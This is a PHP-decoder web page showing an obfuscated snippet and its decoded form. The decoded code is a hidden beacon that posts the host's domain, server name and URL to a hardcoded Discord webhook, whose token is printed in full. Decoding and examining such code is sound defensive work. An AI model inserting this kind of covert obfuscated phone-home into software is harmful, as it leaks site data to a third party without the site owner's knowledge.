Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto n4Y_N; n4Y_N: function stuur_webhook($domain, $naam_website, $url_website) { ..

Decoded Output download

<?php 
 goto n4Y_N; n4Y_N: function stuur_webhook($domain, $naam_website, $url_website) { $webhook_url = "https://discord.com/api/webhooks/1118143556029268049/-8dkl1PDREZKAXUowSxql1rRh5PzCBLr8B9ecqicYq1bVSNqu-HQKmE9cqM9qVzzvmXz"; $data = array("content" => "Er is een nieuwe website gemaakt:\xa
Domain: {$domain}\xaNaam website: {$naam_website}\xaURL: {$url_website}", "username" => "Panelsreal's Bodyguard", "avatar_url" => "https://imgtr.ee/images/2023/06/13/QcUc0.jpg"); $options = array("http" => array("header" => "Content-Type: application/json", "method" => "POST", "content" => json_encode($data))); $context = stream_context_create($options); $result = file_get_contents($webhook_url, false, $context); if ($result === false) { echo "Er is een fout opgetreden bij het verzenden van de webhook."; } } goto ObhKa; wSvsz: stuur_webhook($domain, $naam_website, $url_website); goto zPAkx; RgD1l: $url_website = $_SERVER["REQUEST_SCHEME"] . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto wSvsz; ObhKa: $domain = $_SERVER["HTTP_HOST"]; goto QSaRn; QSaRn: $naam_website = $_SERVER["SERVER_NAME"]; goto RgD1l; zPAkx: ?>

Did this file decode correctly?

Original Code

<?php
 goto n4Y_N; n4Y_N: function stuur_webhook($domain, $naam_website, $url_website) { $webhook_url = "\x68\x74\x74\x70\x73\x3a\x2f\57\x64\x69\x73\143\157\x72\x64\x2e\143\x6f\155\57\141\160\151\x2f\167\x65\142\150\x6f\x6f\x6b\x73\x2f\61\x31\x31\x38\61\x34\63\65\x35\66\x30\62\71\x32\66\70\60\64\71\x2f\55\70\x64\x6b\154\61\x50\x44\122\105\132\113\x41\130\125\157\167\x53\170\161\154\x31\162\x52\150\65\120\x7a\x43\x42\x4c\x72\x38\102\x39\145\143\x71\x69\x63\x59\161\x31\x62\126\x53\x4e\x71\x75\55\x48\121\x4b\x6d\105\x39\x63\x71\x4d\71\x71\126\x7a\172\x76\155\x58\172"; $data = array("\143\x6f\x6e\164\x65\156\164" => "\105\162\40\x69\163\x20\x65\145\156\x20\156\151\145\165\167\x65\x20\167\x65\x62\x73\x69\164\x65\x20\x67\145\x6d\141\141\x6b\164\x3a\xa\12\x44\x6f\155\141\151\156\x3a\x20{$domain}\xa\116\141\141\155\x20\x77\x65\x62\x73\151\164\145\x3a\x20{$naam_website}\xa\x55\x52\x4c\72\40{$url_website}", "\x75\x73\145\x72\x6e\141\155\x65" => "\120\141\x6e\145\x6c\163\x72\145\141\154\47\163\x20\102\157\x64\171\147\165\x61\x72\x64", "\x61\166\x61\x74\x61\x72\x5f\x75\162\x6c" => "\x68\164\x74\160\163\x3a\57\57\x69\x6d\147\164\162\56\145\x65\x2f\x69\155\141\x67\x65\163\57\62\x30\62\x33\x2f\60\x36\57\61\63\x2f\121\143\x55\x63\60\x2e\x6a\160\x67"); $options = array("\x68\164\164\x70" => array("\150\145\141\144\145\162" => "\103\157\156\x74\x65\156\164\x2d\124\x79\160\x65\x3a\40\x61\160\160\154\x69\143\141\x74\151\x6f\x6e\57\152\x73\157\156", "\155\x65\x74\150\x6f\144" => "\120\x4f\x53\124", "\143\157\x6e\x74\145\x6e\x74" => json_encode($data))); $context = stream_context_create($options); $result = file_get_contents($webhook_url, false, $context); if ($result === false) { echo "\x45\x72\x20\151\163\x20\x65\x65\156\40\x66\157\x75\164\x20\157\x70\147\x65\164\162\145\x64\x65\x6e\x20\x62\x69\152\x20\x68\145\164\40\x76\x65\162\172\x65\156\x64\x65\156\40\x76\x61\156\x20\x64\x65\40\167\145\x62\x68\157\157\153\56"; } } goto ObhKa; wSvsz: stuur_webhook($domain, $naam_website, $url_website); goto zPAkx; RgD1l: $url_website = $_SERVER["\x52\x45\121\x55\x45\x53\124\137\x53\103\110\x45\x4d\105"] . "\72\x2f\x2f" . $_SERVER["\x48\x54\124\120\137\110\x4f\123\x54"] . $_SERVER["\122\105\x51\125\x45\123\124\x5f\x55\122\111"]; goto wSvsz; ObhKa: $domain = $_SERVER["\x48\x54\x54\x50\x5f\110\117\123\124"]; goto QSaRn; QSaRn: $naam_website = $_SERVER["\x53\x45\122\x56\x45\x52\137\x4e\101\x4d\105"]; goto RgD1l; zPAkx: ?>

Function Calls

None

Variables

None

Stats

MD5 e3660426fd0c5e36e5a08f115a8610d4
Eval Count 0
Decode Time 35 ms